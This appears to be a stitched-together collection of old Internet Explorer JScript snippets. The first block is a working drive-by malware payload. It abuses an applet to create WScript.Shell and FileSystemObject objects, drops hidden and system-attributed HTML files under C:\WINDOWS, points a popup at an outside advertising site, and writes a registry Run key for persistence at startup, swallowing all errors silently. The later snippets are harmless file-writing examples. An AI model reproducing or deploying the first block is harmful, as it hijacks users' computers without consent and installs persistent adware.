document.write("");
function f()
{
 try
 {
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
  hd=fo.CreateTextFile("c:\\WINDOWS\\system\\mslog.htm");
  hd.write('<\script  language=javascript>function ooppe() {popup = window.open("c:/WINDOWS/TEMP/soop1.htm","","toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=469,height=30,top=5,left=5")}window.onunload=ooppe;<\/script><\script  language=javascript>closes.Click();<\/script>');
  hd.close();
  file=fo.GetFile("c:\\WINDOWS\\system\\mslog.htm");
  file.Attributes=6;
  hd=fo.CreateTextFile("c:\\WINDOWS\\TEMP\\soop1.htm");
  hd.write('           http://ok.88789.com/" target="_blank">网聚网趣*一网打尽
     
');
  hd.close();
  file=fo.GetFile("c:\\WINDOWS\\TEMP\\soop1.htm");
  file.Attributes=6;
  
  sh.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\kuuki", "Iexplore.exe file://c:\\WINDOWS\\system\\mslog.htm");
 }
 catch(e)
 {
 }
}
setTimeout("f()", 1000);

<script>   
        function   getFileSize(filename)   
        {   
            var   fso,   name   =   filename;   
            fso   =   new   ActiveXObject("Scripting.FileSystemObject");   
            if   (!fso.FileExists(name)){   
                  alert("not   exist");   
            }   
            f1   =   fso.GetFile(name);   
            alert(f1.Size);   
        }   
        getFileSize("D:\\a.txt");   
  </script> 

function WriteToFile() {
try {
var fso, s;
fso = new ActiveXObject("Scripting.FileSystemObject");
s = fso.CreateTextFile("e:\\test\\hhh.html", true);
s.write("This is a test");
s.Close();
}
catch(err){
var strErr = 'Error:';
strErr += '\nNumber:' + err.number;
strErr += '\nDescription:' + err.description;
document.write(strErr);
}
}
WriteToFile();

<script> 
function WriteFile(file,str) 
{ 
var fso, tf; 
fso = new ActiveXObject("Scripting.FileSystemObject"); 
tf = fso.CreateTextFile(file, true); 

tf.Write (str); 
tf.Close(); 
} 
WriteFile("C:\\\\aaaa.txt","12345") 
</script>